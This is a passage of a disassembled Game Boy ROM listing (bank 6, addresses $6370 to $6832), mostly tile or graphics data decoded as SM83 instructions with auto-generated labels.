db $10 ; $6370: $10
ld l, h ; $6371: $6c
jr z, jr_006_63c8 ; $6372: $28 $54
ld l, h ; $6374: $6c
jr_006_6375:
cp $fe ; $6375: $fe $fe
cp $92 ; $6377: $fe $92
cp $00 ; $6379: $fe $00
sub d ; $637b: $92
nop ; $637c: $00
nop ; $637d: $00
ld b, h ; $637e: $44
nop ; $637f: $00
db $10 ; $6380: $10
Call_006_6381:
ld l, h ; $6381: $6c
jr z, @+$56 ; $6382: $28 $54
ld l, h ; $6384: $6c
cp $fe ; $6385: $fe $fe
cp $92 ; $6387: $fe $92
cp $00 ; $6389: $fe $00
sub d ; $638b: $92
nop ; $638c: $00
nop ; $638d: $00
jr z, jr_006_6390 ; $638e: $28 $00
jr_006_6390:
ld [$4c00], sp ; $6390: $08 $00 $4c
nop ; $6393: $00
ld h, h ; $6394: $64
ld [bc], a ; $6395: $02
jr nz, jr_006_63aa ; $6396: $20 $12
jr_006_6398:
add b ; $6398: $80
ld [de], a ; $6399: $12
ld b, b ; $639a: $40
add hl, bc ; $639b: $09
nop ; $639c: $00
inc hl ; $639d: $23
inc c ; $639e: $0c
ld [hl+], a ; $639f: $22
ld b, b ; $63a0: $40
nop ; $63a1: $00
call z, Call_000_1000 ; $63a2: $cc $00 $10
add b ; $63a5: $80
nop ; $63a6: $00
jr_006_63a7:
and b ; $63a7: $a0
inc c ; $63a8: $0c
jr_006_63a9:
nop ; $63a9: $00
jr_006_63aa:
nop ; $63aa: $00
ret nc ; $63ab: $d0
add b ; $63ac: $80
ld h, b ; $63ad: $60
ret nz ; $63ae: $c0
jr z, @+$26 ; $63af: $28 $24
nop ; $63b1: $00
ld h, $00 ; $63b2: $26 $00
ld [hl-], a ; $63b4: $32
ld bc, $1100 ; $63b5: $01 $00 $11
ld b, b ; $63b8: $40
ld a, [bc] ; $63b9: $0a
jr nz, @+$0b ; $63ba: $20 $09
nop ; $63bc: $00
inc hl ; $63bd: $23
jr_006_63be:
inc c ; $63be: $0c
ld [hl+], a ; $63bf: $22
stop ; $63c0: $10 $00
jr_006_63c2:
jr nz, jr_006_63c4 ; $63c2: $20 $00
jr_006_63c4:
ld c, $40 ; $63c4: $0e $40
nop ; $63c6: $00
ld d, b ; $63c7: $50
jr_006_63c8:
nop ; $63c8: $00
jr nz, jr_006_63d1 ; $63c9: $20 $06
ret z ; $63cb: $c8
add b ; $63cc: $80
ld [hl], b ; $63cd: $70
ret nz ; $63ce: $c0
jr z, jr_006_63e1 ; $63cf: $28 $10
jr_006_63d1:
ld c, $20 ; $63d1: $0e $20
rra ; $63d3: $1f
jr nz, jr_006_63e9 ; $63d4: $20 $13
ld [$0021], sp ; $63d6: $08 $21 $00
ld hl, $3300 ; $63d9: $21 $00 $33
nop ; $63dc: $00
rra ; $63dd: $1f
nop ; $63de: $00
nop ; $63df: $00
nop ; $63e0: $00
jr_006_63e1:
ld h, b ; $63e1: $60
ld bc, $62c0 ; $63e2: $01 $c0 $62
pop de ; $63e5: $d1
call nz, Call_000_38b2 ; $63e6: $c4 $b2 $38
jr_006_63e9:
or $4a ; $63e9: $f6 $4a
or $e4 ; $63eb: $f6 $e4
ld [c], a ; $63ed: $e2
ld [bc], a ; $63ee: $02
nop ; $63ef: $00
nop ; $63f0: $00
ld h, b ; $63f1: $60
inc b ; $63f2: $04
ret nz ; $63f3: $c0
ld l, b ; $63f4: $68
call nz, $a4c8 ; $63f5: $c4 $c8 $a4
jr jr_006_63be ; $63f8: $18 $c4
ld e, h ; $63fa: $5c
call nz, $e4e8 ; $63fb: $c4 $e8 $e4
inc b ; $63fe: $04
nop ; $63ff: $00
nop ; $6400: $00
nop ; $6401: $00
nop ; $6402: $00
nop ; $6403: $00
ld c, b ; $6404: $48
nop ; $6405: $00
ld c, b ; $6406: $48
ld bc, $0420 ; $6407: $01 $20 $04
nop ; $640a: $00
inc de ; $640b: $13
pop bc ; $640c: $c1
ld b, $43 ; $640d: $06 $43
inc [hl] ; $640f: $34
ld b, b ; $6410: $40
jr nz, jr_006_6438 ; $6411: $20 $25
ld e, $12 ; $6413: $1e $12
inc c ; $6415: $0c
inc c ; $6416: $0c
nop ; $6417: $00
ld [$2a3c], sp ; $6418: $08 $3c $2a
sbc [hl] ; $641b: $9e
ld [hl], $ee ; $641c: $36 $ee
ld [de], a ; $641e: $12
ld a, [hl] ; $641f: $7e
nop ; $6420: $00
nop ; $6421: $00
nop ; $6422: $00
nop ; $6423: $00
ld b, l ; $6424: $45
ld a, $3e ; $6425: $3e $3e
nop ; $6427: $00
inc c ; $6428: $0c
nop ; $6429: $00
ld [hl+], a ; $642a: $22
sub d ; $642b: $92
ld [hl], $ee ; $642c: $36 $ee
ld [de], a ; $642e: $12
ld a, [hl] ; $642f: $7e
nop ; $6430: $00
ld b, $00 ; $6431: $06 $00
dec sp ; $6433: $3b
ld h, c ; $6434: $61
nop ; $6435: $00
pop bc ; $6436: $c1
inc b ; $6437: $04
jr_006_6438:
nop ; $6438: $00
jr jr_006_646b ; $6439: $18 $30
inc bc ; $643b: $03
ld h, h ; $643c: $64
nop ; $643d: $00
ld [$0000], sp ; $643e: $08 $00 $00
ld a, [hl] ; $6441: $7e
nop ; $6442: $00
and $00 ; $6443: $e6 $00
jp nz, $c210 ; $6445: $c2 $10 $c2
add b ; $6448: $80
ld h, [hl] ; $6449: $66
ld h, b ; $644a: $60
inc e ; $644b: $1c
jr_006_644c:
nop ; $644c: $00
nop ; $644d: $00
jr_006_644e:
nop ; $644e: $00
nop ; $644f: $00
nop ; $6450: $00
nop ; $6451: $00
inc h ; $6452: $24
nop ; $6453: $00
inc h ; $6454: $24
nop ; $6455: $00
jr nz, @+$07 ; $6456: $20 $05
add b ; $6458: $80
ld [de], a ; $6459: $12
ld b, b ; $645a: $40
dec bc ; $645b: $0b
ld bc, $0336 ; $645c: $01 $36 $03
inc b ; $645f: $04
nop ; $6460: $00
ld [hl], $60 ; $6461: $36 $60
dec bc ; $6463: $0b
pop bc ; $6464: $c1
nop ; $6465: $00
ld bc, $200c ; $6466: $01 $0c $20
db $10 ; $6469: $10
db $e4 ; $646a: $e4
jr_006_646b:
inc bc ; $646b: $03
ld [$0000], sp ; $646c: $08 $00 $00
nop ; $646f: $00
nop ; $6470: $00
nop ; $6471: $00
nop ; $6472: $00
ld bc, $0106 ; $6473: $01 $06 $01
dec e ; $6476: $1d
inc bc ; $6477: $03
ld sp, hl ; $6478: $f9
rlca ; $6479: $07
ld bc, $0801 ; $647a: $01 $01 $08
nop ; $647d: $00
nop ; $647e: $00
inc bc ; $647f: $03
nop ; $6480: $00
ld a, h ; $6481: $7c
ld a, [hl] ; $6482: $7e
cp $fe ; $6483: $fe $fe
add b ; $6485: $80
add d ; $6486: $82
ld a, [hl] ; $6487: $7e
inc b ; $6488: $04
db $fd ; $6489: $fd
sbc e ; $648a: $9b
ei ; $648b: $fb
ld h, e ; $648c: $63
xor $03 ; $648d: $ee $03
add c ; $648f: $81
nop ; $6490: $00
nop ; $6491: $00
nop ; $6492: $00
ld h, b ; $6493: $60
nop ; $6494: $00
ldh [$9e], a ; $6495: $e0 $9e
ret c ; $6497: $d8
xor a ; $6498: $af
or b ; $6499: $b0
ld l, $b0 ; $649a: $2e $b0
jr c, jr_006_644e ; $649c: $38 $b0
nop ; $649e: $00
ld h, b ; $649f: $60
nop ; $64a0: $00
nop ; $64a1: $00
nop ; $64a2: $00
ld h, b ; $64a3: $60
nop ; $64a4: $00
ldh [$98], a ; $64a5: $e0 $98
ret nc ; $64a7: $d0
sbc h ; $64a8: $9c
and b ; $64a9: $a0
jr jr_006_644c ; $64aa: $18 $a0
jr nc, jr_006_644e ; $64ac: $30 $a0
nop ; $64ae: $00
ld h, b ; $64af: $60
nop ; $64b0: $00
ld a, h ; $64b1: $7c
ld a, [hl] ; $64b2: $7e
cp $fe ; $64b3: $fe $fe
add b ; $64b5: $80
add d ; $64b6: $82
ld a, [hl] ; $64b7: $7e
inc b ; $64b8: $04
db $fd ; $64b9: $fd
sbc b ; $64ba: $98
ei ; $64bb: $fb
ld [hl], b ; $64bc: $70
db $eb ; $64bd: $eb
inc a ; $64be: $3c
sbc a ; $64bf: $9f
nop ; $64c0: $00
rra ; $64c1: $1f
nop ; $64c2: $00
inc hl ; $64c3: $23
inc e ; $64c4: $1c
dec a ; $64c5: $3d
ld [de], a ; $64c6: $12
ld e, $1e ; $64c7: $1e $1e
ld [bc], a ; $64c9: $02
ld c, $00 ; $64ca: $0e $00
ld c, $00 ; $64cc: $0e $00
inc b ; $64ce: $04
nop ; $64cf: $00
nop ; $64d0: $00
rra ; $64d1: $1f
nop ; $64d2: $00
inc hl ; $64d3: $23
db $10 ; $64d4: $10
dec a ; $64d5: $3d
ld e, $02 ; $64d6: $1e $02
ld c, $00 ; $64d8: $0e $00
inc b ; $64da: $04
nop ; $64db: $00
nop ; $64dc: $00
nop ; $64dd: $00
nop ; $64de: $00
nop ; $64df: $00
ld a, b ; $64e0: $78
ld a, b ; $64e1: $78
dec [hl] ; $64e2: $35
ld e, l ; $64e3: $5d
dec sp ; $64e4: $3b
ld d, [hl] ; $64e5: $56
dec de ; $64e6: $1b
ld [hl], $13 ; $64e7: $36 $13
ld a, $31 ; $64e9: $3e $31
ccf ; $64eb: $3f
ld de, $100f ; $64ec: $11 $0f $10
rrca ; $64ef: $0f
adc $ce ; $64f0: $ce $ce
ld h, $ec ; $64f2: $26 $ec
inc d ; $64f4: $14
cp $14 ; $64f5: $fe $14
cp $16 ; $64f7: $fe $16
cp $90 ; $64f9: $fe $90
ld a, h ; $64fb: $7c
add b ; $64fc: $80
ld a, b ; $64fd: $78
add b ; $64fe: $80
ld hl, sp-$72 ; $64ff: $f8 $8e
ld a, e ; $6501: $7b
db $e4 ; $6502: $e4
ld e, a ; $6503: $5f
ldh [$5f], a ; $6504: $e0 $5f
or b ; $6506: $b0
ld l, a ; $6507: $6f
jr nc, @+$70 ; $6508: $30 $6e
jr jr_006_6582 ; $650a: $18 $76
jr jr_006_6584 ; $650c: $18 $76
nop ; $650e: $00
ld a, [hl] ; $650f: $7e
jr nz, @+$1e ; $6510: $20 $1c
jr nc, jr_006_6530 ; $6512: $30 $1c
jr nc, @+$1e ; $6514: $30 $1c
jr nc, @+$1e ; $6516: $30 $1c
db $10 ; $6518: $10
inc c ; $6519: $0c
db $10 ; $651a: $10
ld [$0810], sp ; $651b: $08 $10 $08
nop ; $651e: $00
nop ; $651f: $00
nop ; $6520: $00
rlca ; $6521: $07
nop ; $6522: $00
jr c, jr_006_6525 ; $6523: $38 $00
jr_006_6525:
ld h, b ; $6525: $60
ld bc, $0343 ; $6526: $01 $43 $03
ld b, d ; $6529: $42
ld bc, $0063 ; $652a: $01 $63 $00
jr nc, jr_006_652f ; $652d: $30 $00
jr_006_652f:
rrca ; $652f: $0f
jr_006_6530:
nop ; $6530: $00
ld hl, sp+$00 ; $6531: $f8 $00
ld c, $00 ; $6533: $0e $00
ld [bc], a ; $6535: $02
nop ; $6536: $00
add c ; $6537: $81
add b ; $6538: $80
add c ; $6539: $81
nop ; $653a: $00
add e ; $653b: $83
nop ; $653c: $00
ld c, $00 ; $653d: $0e $00
ld hl, sp+$00 ; $653f: $f8 $00
nop ; $6541: $00
nop ; $6542: $00
ld bc, $1f00 ; $6543: $01 $00 $1f
ld bc, $0330 ; $6546: $01 $30 $03
jr nz, @+$03 ; $6549: $20 $01
jr c, jr_006_654d ; $654b: $38 $00
jr_006_654d:
rrca ; $654d: $0f
nop ; $654e: $00
nop ; $654f: $00
nop ; $6550: $00
nop ; $6551: $00
nop ; $6552: $00
ldh a, [rP1] ; $6553: $f0 $00
ld [$0c00], sp ; $6555: $08 $00 $0c
add b ; $6558: $80
inc b ; $6559: $04
nop ; $655a: $00
ld l, h ; $655b: $6c
nop ; $655c: $00
ld hl, sp+$00 ; $655d: $f8 $00
nop ; $655f: $00
nop ; $6560: $00
jr_006_6561:
jr c, @+$72 ; $6561: $38 $70
inc c ; $6563: $0c
adc d ; $6564: $8a
ld b, $82 ; $6565: $06 $82
add [hl] ; $6567: $86
and e ; $6568: $a3
add a ; $6569: $87
add c ; $656a: $81
add a ; $656b: $87
ld bc, $044f ; $656c: $01 $4f $04
ccf ; $656f: $3f
nop ; $6570: $00
nop ; $6571: $00
db $10 ; $6572: $10
ld l, b ; $6573: $68
ld [$07f4], sp ; $6574: $08 $f4 $07
ld hl, sp+$00 ; $6577: $f8 $00
ld a, a ; $6579: $7f
nop ; $657a: $00
inc e ; $657b: $1c
ld bc, $0e00 ; $657c: $01 $00 $0e
ld bc, $0700 ; $657f: $01 $00 $07
jr_006_6582:
nop ; $6582: $00
rrca ; $6583: $0f
jr_006_6584:
ld [hl], b ; $6584: $70
rra ; $6585: $1f
and b ; $6586: $a0
ld a, a ; $6587: $7f
db $ec ; $6588: $ec
db $db ; $6589: $db
ld c, h ; $658a: $4c
dec sp ; $658b: $3b
adc b ; $658c: $88
ld h, a ; $658d: $67
ld [$1086], sp ; $658e: $08 $86 $10
inc c ; $6591: $0c
db $10 ; $6592: $10
ld [$1020], sp ; $6593: $08 $20 $10
ld b, b ; $6596: $40
jr nz, jr_006_6599 ; $6597: $20 $00
jr_006_6599:
nop ; $6599: $00
nop ; $659a: $00
nop ; $659b: $00
nop ; $659c: $00
nop ; $659d: $00
nop ; $659e: $00
nop ; $659f: $00
ld [bc], a ; $65a0: $02
nop ; $65a1: $00
ld [de], a ; $65a2: $12
ld l, b ; $65a3: $68
add hl, bc ; $65a4: $09
ld a, [c] ; $65a5: $f2
nop ; $65a6: $00
ei ; $65a7: $fb
nop ; $65a8: $00
ld a, l ; $65a9: $7d
nop ; $65aa: $00
inc e ; $65ab: $1c
nop ; $65ac: $00
nop ; $65ad: $00
nop ; $65ae: $00
nop ; $65af: $00
nop ; $65b0: $00
rlca ; $65b1: $07
ld b, b ; $65b2: $40
rrca ; $65b3: $0f
ld d, b ; $65b4: $50
rra ; $65b5: $1f
inc a ; $65b6: $3c
ld e, e ; $65b7: $5b
jr jr_006_6561 ; $65b8: $18 $a7
nop ; $65ba: $00
ccf ; $65bb: $3f
nop ; $65bc: $00
ld e, $00 ; $65bd: $1e $00
nop ; $65bf: $00
ld [bc], a ; $65c0: $02
inc b ; $65c1: $04
ld bc, $010e ; $65c2: $01 $0e $01
ld c, $00 ; $65c5: $0e $00
rrca ; $65c7: $0f
nop ; $65c8: $00
rlca ; $65c9: $07
nop ; $65ca: $00
nop ; $65cb: $00
ld bc, $0e00 ; $65cc: $01 $00 $0e
ld bc, $0001 ; $65cf: $01 $01 $00
ld c, $01 ; $65d2: $0e $01
ld [de], a ; $65d4: $12
rrca ; $65d5: $0f
ld h, a ; $65d6: $67
rra ; $65d7: $1f
ld a, a ; $65d8: $7f
ld b, $7e ; $65d9: $06 $7e
ld c, c ; $65db: $49
ld hl, sp-$49 ; $65dc: $f8 $b7
or b ; $65de: $b0
rst $08 ; $65df: $cf
cp $06 ; $65e0: $fe $06
rlca ; $65e2: $07
ld sp, hl ; $65e3: $f9
ld b, $fe ; $65e4: $06 $fe
sbc $fa ; $65e6: $de $fa
ld sp, hl ; $65e8: $f9
rlca ; $65e9: $07
ld bc, $39c7 ; $65ea: $01 $c7 $39
add e ; $65ed: $83
ld b, l ; $65ee: $45
ld bc, $fe90 ; $65ef: $01 $90 $fe
add h ; $65f2: $84
cp $40 ; $65f3: $fe $40
ld h, [hl] ; $65f5: $66
nop ; $65f6: $00
dec bc ; $65f7: $0b
ld l, h ; $65f8: $6c
ld e, l ; $65f9: $5d
ld a, [hl-] ; $65fa: $3a
ld a, $1f ; $65fb: $3e $1f
ld d, $09 ; $65fd: $16 $09
add hl, bc ; $65ff: $09
Jump_006_6600:
cp e ; $6600: $bb
ld sp, $bb29 ; $6601: $31 $29 $bb
add hl, sp ; $6604: $39
cp e ; $6605: $bb
ld bc, $0145 ; $6606: $01 $45 $01
cp e ; $6609: $bb
ld [bc], a ; $660a: $02
add $44 ; $660b: $c6 $44
ld a, h ; $660d: $7c
jr c, jr_006_6648 ; $660e: $38 $38
rra ; $6610: $1f
db $10 ; $6611: $10
ld [hl], d ; $6612: $72
ld l, a ; $6613: $6f
push hl ; $6614: $e5
sbc a ; $6615: $9f
ld sp, hl ; $6616: $f9
rlca ; $6617: $07
jp $3eff ; $6618: $c3 $ff $3e
ld a, $02 ; $661b: $3e $02
inc bc ; $661d: $03
ld [bc], a ; $661e: $02
inc bc ; $661f: $03
ld hl, sp+$00 ; $6620: $f8 $00
ld h, $f8 ; $6622: $26 $f8
Jump_006_6624:
ld b, $fe ; $6624: $06 $fe
sbc [hl] ; $6626: $9e
ld a, [$6779] ; $6627: $fa $79 $67
ld hl, $32bf ; $662a: $21 $bf $32
cp $ae ; $662d: $fe $ae
ld l, [hl] ; $662f: $6e
ld [bc], a ; $6630: $02
inc bc ; $6631: $03
ld [bc], a ; $6632: $02
inc bc ; $6633: $03
ld [bc], a ; $6634: $02
inc bc ; $6635: $03
inc bc ; $6636: $03
inc bc ; $6637: $03
rlca ; $6638: $07
ld b, $4e ; $6639: $06 $4e
ld c, c ; $663b: $49
ld hl, sp-$49 ; $663c: $f8 $b7
or b ; $663e: $b0
rst $08 ; $663f: $cf
and h ; $6640: $a4
ld h, d ; $6641: $62
and [hl] ; $6642: $a6
ld h, [hl] ; $6643: $66
and h ; $6644: $a4
ld h, d ; $6645: $62
cp $fe ; $6646: $fe $fe
jr_006_6648:
ld sp, hl ; $6648: $f9
rlca ; $6649: $07
ld bc, $39c7 ; $664a: $01 $c7 $39
add e ; $664d: $83
ld b, l ; $664e: $45
ld bc, $0302 ; $664f: $01 $02 $03
ld [bc], a ; $6652: $02
inc bc ; $6653: $03
ld [bc], a ; $6654: $02
inc bc ; $6655: $03
ld [bc], a ; $6656: $02
inc bc ; $6657: $03
ld [bc], a ; $6658: $02
inc bc ; $6659: $03
ld [bc], a ; $665a: $02
inc bc ; $665b: $03
ld [bc], a ; $665c: $02
inc bc ; $665d: $03
ld [bc], a ; $665e: $02
inc bc ; $665f: $03
and h ; $6660: $a4
ld h, d ; $6661: $62
and [hl] ; $6662: $a6
ld h, [hl] ; $6663: $66
and h ; $6664: $a4
ld h, d ; $6665: $62
and [hl] ; $6666: $a6
ld h, [hl] ; $6667: $66
and h ; $6668: $a4
ld h, d ; $6669: $62
and [hl] ; $666a: $a6
ld h, [hl] ; $666b: $66
and h ; $666c: $a4
ld h, d ; $666d: $62
and [hl] ; $666e: $a6
ld h, [hl] ; $666f: $66
rra ; $6670: $1f
nop ; $6671: $00
ld h, d ; $6672: $62
rra ; $6673: $1f
ld [hl], l ; $6674: $75
ld l, a ; $6675: $6f
add hl, de ; $6676: $19
rla ; $6677: $17
dec de ; $6678: $1b
rla ; $6679: $17
ld h, $3e ; $667a: $26 $3e
ld a, d ; $667c: $7a
ld c, e ; $667d: $4b
Jump_006_667e:
ld [hl-], a ; $667e: $32
inc sp ; $667f: $33
nop ; $6680: $00
nop ; $6681: $00
nop ; $6682: $00
nop ; $6683: $00
rst $38 ; $6684: $ff
nop ; $6685: $00
rst $38 ; $6686: $ff
nop ; $6687: $00
rst $38 ; $6688: $ff
nop ; $6689: $00
nop ; $668a: $00
nop ; $668b: $00
nop ; $668c: $00
nop ; $668d: $00
nop ; $668e: $00
nop ; $668f: $00
cp e ; $6690: $bb
ld bc, $8339 ; $6691: $01 $39 $83
add hl, sp ; $6694: $39
add e ; $6695: $83
ld bc, $0145 ; $6696: $01 $45 $01
cp e ; $6699: $bb
ld [bc], a ; $669a: $02
add $44 ; $669b: $c6 $44
ld a, h ; $669d: $7c
jr c, jr_006_66d8 ; $669e: $38 $38
adc h ; $66a0: $8c
inc c ; $66a1: $0c
ld e, d ; $66a2: $5a
ld d, $31 ; $66a3: $16 $31
cpl ; $66a5: $2f
jr nc, @+$31 ; $66a6: $30 $2f
ld [hl-], a ; $66a8: $32
ccf ; $66a9: $3f
ld b, d ; $66aa: $42
ld a, [hl] ; $66ab: $7e
ld e, b ; $66ac: $58
ld h, [hl] ; $66ad: $66
ld h, h ; $66ae: $64
ld b, d ; $66af: $42
ld a, [hl] ; $66b0: $7e
ld a, [hl] ; $66b1: $7e
add c ; $66b2: $81
rst $38 ; $66b3: $ff
nop ; $66b4: $00
jp $813c ; $66b5: $c3 $3c $81
ld b, d ; $66b8: $42
nop ; $66b9: $00
cp l ; $66ba: $bd
jr c, jr_006_66f1 ; $66bb: $38 $34
cp l ; $66bd: $bd
inc a ; $66be: $3c
cp l ; $66bf: $bd
ld b, $1d ; $66c0: $06 $1d
inc d ; $66c2: $14
inc a ; $66c3: $3c
jr z, jr_006_6720 ; $66c4: $28 $5a
nop ; $66c6: $00
jr nz, jr_006_66c9 ; $66c7: $20 $00
jr_006_66c9:
inc d ; $66c9: $14
nop ; $66ca: $00
inc [hl] ; $66cb: $34
ld [de], a ; $66cc: $12
nop ; $66cd: $00
ld [$0000], sp ; $66ce: $08 $00 $00
ld b, d ; $66d1: $42
nop ; $66d2: $00
cp l ; $66d3: $bd
nop ; $66d4: $00
jp $bdc3 ; $66d5: $c3 $c3 $bd
jr_006_66d8:
ld b, d ; $66d8: $42
ld a, [hl] ; $66d9: $7e
inc a ; $66da: $3c
inc a ; $66db: $3c
nop ; $66dc: $00
nop ; $66dd: $00
nop ; $66de: $00
nop ; $66df: $00
ld [hl+], a ; $66e0: $22
ld bc, $0410 ; $66e1: $01 $10 $04
nop ; $66e4: $00
ld b, $00 ; $66e5: $06 $00
inc b ; $66e7: $04
nop ; $66e8: $00
add hl, bc ; $66e9: $09
ld [$0015], sp ; $66ea: $08 $15 $00
ld [$0500], sp ; $66ed: $08 $00 $05
nop ; $66f0: $00
jr_006_66f1:
ld b, d ; $66f1: $42
nop ; $66f2: $00
cp l ; $66f3: $bd
nop ; $66f4: $00
jp $bdc3 ; $66f5: $c3 $c3 $bd
ld b, d ; $66f8: $42
ld a, [hl] ; $66f9: $7e
inc a ; $66fa: $3c
cp l ; $66fb: $bd
jr_006_66fc:
nop ; $66fc: $00
nop ; $66fd: $00
nop ; $66fe: $00
nop ; $66ff: $00
nop ; $6700: $00
ld a, [de] ; $6701: $1a
add hl, bc ; $6702: $09
nop ; $6703: $00
inc b ; $6704: $04
nop ; $6705: $00
jr_006_6706:
nop ; $6706: $00
nop ; $6707: $00
nop ; $6708: $00
nop ; $6709: $00
nop ; $670a: $00
nop ; $670b: $00
nop ; $670c: $00
nop ; $670d: $00
nop ; $670e: $00
nop ; $670f: $00
ld a, [hl] ; $6710: $7e
ld a, [hl] ; $6711: $7e
add c ; $6712: $81
rst $38 ; $6713: $ff
nop ; $6714: $00
jp $813c ; $6715: $c3 $3c $81
ld b, d ; $6718: $42
nop ; $6719: $00
cp l ; $671a: $bd
nop ; $671b: $00
jr_006_671c:
inc a ; $671c: $3c
add c ; $671d: $81
inc a ; $671e: $3c
add c ; $671f: $81
jr_006_6720:
add b ; $6720: $80
nop ; $6721: $00
ld b, a ; $6722: $47
rlca ; $6723: $07
add hl, sp ; $6724: $39
ld a, $4a ; $6725: $3e $4a
ld a, h ; $6727: $7c
jp nz, $c1bc ; $6728: $c2 $bc $c1
cp [hl] ; $672b: $be
ld l, h ; $672c: $6c
ld e, a ; $672d: $5f
jr nz, jr_006_6768 ; $672e: $20 $38
nop ; $6730: $00
nop ; $6731: $00
nop ; $6732: $00
jr nz, jr_006_6755 ; $6733: $20 $20
ld d, h ; $6735: $54
ld b, d ; $6736: $42
db $ec ; $6737: $ec
ld hl, $c0e0 ; $6738: $21 $e0 $c0
call z, Call_000_2082 ; $673b: $cc $82 $20
nop ; $673e: $00
add b ; $673f: $80
ld b, h ; $6740: $44
ld [hl], e ; $6741: $73
adc b ; $6742: $88
ldh [$97], a ; $6743: $e0 $97
jp $c795 ; $6745: $c3 $95 $c7
sub a ; $6748: $97
rst $00 ; $6749: $c7
sub a ; $674a: $97
rst $00 ; $674b: $c7
adc b ; $674c: $88
ldh [rLY], a ; $674d: $e0 $44
ld [hl], e ; $674f: $73
db $10 ; $6750: $10
ld [hl], b ; $6751: $70
jr jr_006_66fc ; $6752: $18 $a8
inc b ; $6754: $04
jr_006_6755:
ld e, h ; $6755: $5c
inc b ; $6756: $04
ld e, h ; $6757: $5c
inc b ; $6758: $04
ld e, h ; $6759: $5c
inc b ; $675a: $04
ld e, h ; $675b: $5c
jr jr_006_6706 ; $675c: $18 $a8
db $10 ; $675e: $10
ld [hl], b ; $675f: $70
nop ; $6760: $00
nop ; $6761: $00
nop ; $6762: $00
nop ; $6763: $00
add b ; $6764: $80
nop ; $6765: $00
ld b, b ; $6766: $40
inc b ; $6767: $04
jr_006_6768:
inc b ; $6768: $04
ld a, [bc] ; $6769: $0a
nop ; $676a: $00
ld [hl], l ; $676b: $75
add b ; $676c: $80
jr nz, jr_006_676f ; $676d: $20 $00
jr_006_676f:
adc l ; $676f: $8d
db $10 ; $6770: $10
ld [hl], h ; $6771: $74
jr jr_006_671c ; $6772: $18 $a8
inc b ; $6774: $04
ld e, h ; $6775: $5c
inc b ; $6776: $04
ld e, h ; $6777: $5c
inc b ; $6778: $04
ld e, h ; $6779: $5c
inc b ; $677a: $04
ld e, h ; $677b: $5c
jr @-$56 ; $677c: $18 $a8
db $10 ; $677e: $10
ld [hl], h ; $677f: $74
nop ; $6780: $00
nop ; $6781: $00
nop ; $6782: $00
nop ; $6783: $00
nop ; $6784: $00
nop ; $6785: $00
nop ; $6786: $00
add b ; $6787: $80
ld b, b ; $6788: $40
add b ; $6789: $80
jr nz, jr_006_678c ; $678a: $20 $00
jr_006_678c:
nop ; $678c: $00
add b ; $678d: $80
ld b, b ; $678e: $40
nop ; $678f: $00
ld b, h ; $6790: $44
ld [hl], e ; $6791: $73
adc b ; $6792: $88
ldh [$97], a ; $6793: $e0 $97
ret nz ; $6795: $c0
sub a ; $6796: $97
ret nz ; $6797: $c0
sub a ; $6798: $97
ret nz ; $6799: $c0
sub a ; $679a: $97
ret nz ; $679b: $c0
adc b ; $679c: $88
ldh [rLY], a ; $679d: $e0 $44
ld [hl], e ; $679f: $73
nop ; $67a0: $00
ldh [rP1], a ; $67a1: $e0 $00
db $fc ; $67a3: $fc
ld a, h ; $67a4: $7c
cp $c0 ; $67a5: $fe $c0
db $fc ; $67a7: $fc
add e ; $67a8: $83
jp nz, $3c02 ; $67a9: $c2 $02 $3c
ld bc, $017e ; $67ac: $01 $7e $01
ld h, d ; $67af: $62
nop ; $67b0: $00
nop ; $67b1: $00
nop ; $67b2: $00
nop ; $67b3: $00
nop ; $67b4: $00
nop ; $67b5: $00
nop ; $67b6: $00
nop ; $67b7: $00
ldh a, [rP1] ; $67b8: $f0 $00
ld hl, sp-$20 ; $67ba: $f8 $e0
inc e ; $67bc: $1c
ld a, b ; $67bd: $78
ld b, $7c ; $67be: $06 $7c
dec d ; $67c0: $15
ld e, h ; $67c1: $5c
add hl, de ; $67c2: $19
ld e, h ; $67c3: $5c
dec e ; $67c4: $1d
ld e, h ; $67c5: $5c
ld bc, $8062 ; $67c6: $01 $62 $80
cp [hl] ; $67c9: $be
ld b, b ; $67ca: $40
ret nz ; $67cb: $c0
ld a, [hl-] ; $67cc: $3a
ei ; $67cd: $fb
inc b ; $67ce: $04
rst $30 ; $67cf: $f7
nop ; $67d0: $00
nop ; $67d1: $00
inc b ; $67d2: $04
ld a, [hl] ; $67d3: $7e
ld [$707c], sp ; $67d4: $08 $7c $70
ld a, b ; $67d7: $78
nop ; $67d8: $00
ldh a, [rP1] ; $67d9: $f0 $00
nop ; $67db: $00
nop ; $67dc: $00
nop ; $67dd: $00
add b ; $67de: $80
add b ; $67df: $80
adc c ; $67e0: $89
rst $28 ; $67e1: $ef
inc de ; $67e2: $13
rra ; $67e3: $1f
jr_006_67e4:
ld a, [c] ; $67e4: $f2
cp $0e ; $67e5: $fe $0e
cp $0c ; $67e7: $fe $0c
db $fc ; $67e9: $fc
jr c, jr_006_67e4 ; $67ea: $38 $f8
ldh a, [$f0] ; $67ec: $f0 $f0
ret nz ; $67ee: $c0
ret nz ; $67ef: $c0
nop ; $67f0: $00
ldh [rSB], a ; $67f1: $e0 $01
db $fc ; $67f3: $fc
ld a, h ; $67f4: $7c
cp $c0 ; $67f5: $fe $c0
db $fc ; $67f7: $fc
add d ; $67f8: $82
jp nz, $3c02 ; $67f9: $c2 $02 $3c
ld bc, $017e ; $67fc: $01 $7e $01
ld h, d ; $67ff: $62
nop ; $6800: $00
nop ; $6801: $00
ldh a, [rP1] ; $6802: $f0 $00
ld hl, sp-$20 ; $6804: $f8 $e0
inc e ; $6806: $1c
ld hl, sp+$06 ; $6807: $f8 $06
db $fc ; $6809: $fc
nop ; $680a: $00
nop ; $680b: $00
nop ; $680c: $00
nop ; $680d: $00
nop ; $680e: $00
nop ; $680f: $00
dec d ; $6810: $15
ld e, h ; $6811: $5c
add hl, de ; $6812: $19
ld e, h ; $6813: $5c
dec e ; $6814: $1d
ld e, h ; $6815: $5c
ld bc, $8062 ; $6816: $01 $62 $80
cp [hl] ; $6819: $be
jr_006_681a:
ld b, b ; $681a: $40
ret nz ; $681b: $c0
ld a, [hl-] ; $681c: $3a
ei ; $681d: $fb
inc b ; $681e: $04
rst $30 ; $681f: $f7
jr_006_6820:
nop ; $6820: $00
nop ; $6821: $00
nop ; $6822: $00
nop ; $6823: $00
nop ; $6824: $00
nop ; $6825: $00
inc b ; $6826: $04
ld a, [hl] ; $6827: $7e
ld [$707c], sp ; $6828: $08 $7c $70
ld a, b ; $682b: $78
add b ; $682c: $80
ldh a, [$80] ; $682d: $f0 $80
add b ; $682f: $80
nop ; $6830: $00
nop ; $6831: $00
nop ; $6832: $00
